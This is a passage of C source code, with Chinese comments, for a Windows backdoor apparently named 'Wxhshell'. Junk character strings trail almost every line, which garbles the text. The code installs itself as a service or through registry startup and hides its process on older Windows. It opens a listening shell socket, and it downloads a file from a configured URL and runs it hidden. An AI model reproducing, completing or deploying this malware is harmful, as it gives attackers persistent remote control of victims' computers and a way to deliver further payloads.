DWORD BasePriority; j{YYG|
ULONG UniqueProcessId; ka!v(j{E
ULONG InheritedFromUniqueProcessId; n8F~!|lQ0
} PROCESS_BASIC_INFORMATION; oWL_Hh%-f`
2?GMKd)
PROCNTQSIP NtQueryInformationProcess; "5Y6.$Cuf!
9M;t4Um
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :u./"[G
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^t5My[R
_<LL@IX
HANDLE hProcess; F^'$%XK V
PROCESS_BASIC_INFORMATION pbi; Fu_I0z
5gtf`ebs/
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sa4w.9O1GS
if(NULL == hInst ) return 0; <BED&j!qvP
$GFR7YC 7
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sde>LZet/
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v8*)^-Fx
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jZzTnmm&?
^APtV6g
if (!NtQueryInformationProcess) return 0; q9_$&9
IGcq*mR=
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >4jE[$p]"
if(!hProcess) return 0; X8Q'*
H#_Zv]
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |g)C `k
]~I+d/k
d
CloseHandle(hProcess); )Q'E^[Ua
Os@b8V 8,A
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4}h}`KZZ
if(hProcess==NULL) return 0;
2Qp}f^
+Cw_qS"=
HMODULE hMod; nf0u:M"fm
char procName[255]; R~4X?@ZB
unsigned long cbNeeded; _ \6v@
*z?Uh$I4
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w!7ApEH1
>MHlrSH2
CloseHandle(hProcess); 3&+dyhL'w
Nv7-6C6<
if(strstr(procName,"services")) return 1; // 以服务启动 3T)rJEN A
cK+TE8ao
return 0; // 注册表启动 I_<XL<
} i=aR~
fz=?QEG
// 主模块 +:.Jl:fx4
int StartWxhshell(LPSTR lpCmdLine) >#|%'Us
{ HE,L8S
SOCKET wsl; X ha9x,
BOOL val=TRUE; 2bNOn%!
int port=0; v.Ba
struct sockaddr_in door; Ai<
beUS
^-_*@e*JE
if(wscfg.ws_autoins) Install(); X
."z+-eh
-`~qmRpqY
port=atoi(lpCmdLine); '`P%;/z
L/"};VI
if(port<=0) port=wscfg.ws_port; (`.OS)&
@.e X8~3=
WSADATA data; ( 2HM"Pd
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HY)xT$/J
a{]=BY oL
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; @f-X/q]P
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); " CT}34l
door.sin_family = AF_INET; gF{ehU%
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6h;(b2p{
door.sin_port = htons(port); !%G]~
r(>S
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %e E^Y<@g
closesocket(wsl); (F4e}hr&
return 1; ZRagM'K
} ?G,4N<]Nu
UCLM*`M
if(listen(wsl,2) == INVALID_SOCKET) { ^c\O,*:
closesocket(wsl); n%&L&G
return 1; f$o^Xu
} )7>GXZG>=
Wxhshell(wsl); f^$,;
WSACleanup(); PftK>,+,
$o[-xNn1
return 0; i HD!v7d7
,X?/FAcb
} h6h6B.\Ld
u\*9\G
// 以NT服务方式启动 ic2D$`M
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lMFR_g?r
{ y(COB6r
DWORD status = 0; =w$&n%~
DWORD specificError = 0xfffffff; iq; |
i!
O?e9wI=H
serviceStatus.dwServiceType = SERVICE_WIN32; 6@N,'a8r
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Fz7t84g(
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z=JKBoAY
serviceStatus.dwWin32ExitCode = 0; T2e-RR
serviceStatus.dwServiceSpecificExitCode = 0; rnIjpc F
serviceStatus.dwCheckPoint = 0; >fBPVu\PA
serviceStatus.dwWaitHint = 0; ?@b6(f
xX
PtfG~$h?
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S<nF>JRJa
if (hServiceStatusHandle==0) return; -b-a21,m>
t+?Bb7p,H
status = GetLastError(); WPNB!"E98
if (status!=NO_ERROR) fs!dI
{ mfraw2H
serviceStatus.dwCurrentState = SERVICE_STOPPED; hfwJZ\_60
serviceStatus.dwCheckPoint = 0; k~tEUsv
serviceStatus.dwWaitHint = 0; P6gkbtg
serviceStatus.dwWin32ExitCode = status; t<!m4Yd|#
serviceStatus.dwServiceSpecificExitCode = specificError; WyO*8b_
D
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /@9Q:'P
return; 0+>g/>
} ]es|%j 2
'LYDJ~
serviceStatus.dwCurrentState = SERVICE_RUNNING; ~fXNj-'RW
serviceStatus.dwCheckPoint = 0; IK -vcG
serviceStatus.dwWaitHint = 0; |J&\/8Q
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &f.5:u%{b
} G@7^M}
DsdM:u*s
// 处理NT服务事件,比如:启动、停止 EavBUX$O
VOID WINAPI NTServiceHandler(DWORD fdwControl) IL@yGuO,
{ eb_.@.a
switch(fdwControl) 3qWrSziD
{ j7P49{
case SERVICE_CONTROL_STOP: db )2>
serviceStatus.dwWin32ExitCode = 0; D2ggFxqe
serviceStatus.dwCurrentState = SERVICE_STOPPED; (TeH)j!
serviceStatus.dwCheckPoint = 0; LK h=jB^bT
serviceStatus.dwWaitHint = 0; 7'wpPXdY1
{ UynGG@P@
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 01n!T2;yW}
} #(]D]f[@
return; >@N.jw>#T
case SERVICE_CONTROL_PAUSE: WAn@8!9
serviceStatus.dwCurrentState = SERVICE_PAUSED; <$nPGz)}
break; 2-F7tcya|
case SERVICE_CONTROL_CONTINUE: `q}D#0
serviceStatus.dwCurrentState = SERVICE_RUNNING; UC&$8^
break; nDkG}JkB!
case SERVICE_CONTROL_INTERROGATE: 2tz4Ag
break; V
FM[-
}; &OU.BR>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7] y3<t
} S1r{2s&
Gb^63.}
// 标准应用程序主函数 N<#J!0w
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )=)N9C Ry
{ ~vF*&^4Vh
(CQ! &Z8
// 获取操作系统版本 r,eH7&P9{
OsIsNt=GetOsVer(); T)tr"<F5NP
GetModuleFileName(NULL,ExeFile,MAX_PATH); o9sQ!gptw
RlfI]uCDM
// 从命令行安装 9No6\{[M
if(strpbrk(lpCmdLine,"iI")) Install(); cJSNV*<
(
%sfwv
// 下载执行文件 R/{h4/+vJ
if(wscfg.ws_downexe) { 51}C`j|V3{
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1=]#=)+
WinExec(wscfg.ws_filenam,SW_HIDE); P#pb48^-
} ~Dg:siw
@Hj]yb5
if(!OsIsNt) { xEG:KSH
// 如果时win9x,隐藏进程并且设置为注册表启动 Xp;'Wa"@
HideProc(); ]`-o\,lq
StartWxhshell(lpCmdLine); 2-S}#S}2C
} 1drg5
else k1[`2k:Hk
if(StartFromService()) K81FKV.
// 以服务方式启动 li3X}
StartServiceCtrlDispatcher(DispatchTable); =YM
else o5],c9R9b
// 普通方式启动 covCa )kf
StartWxhshell(lpCmdLine); E2hML
P w6l'
return 0; Fkv284,LM
}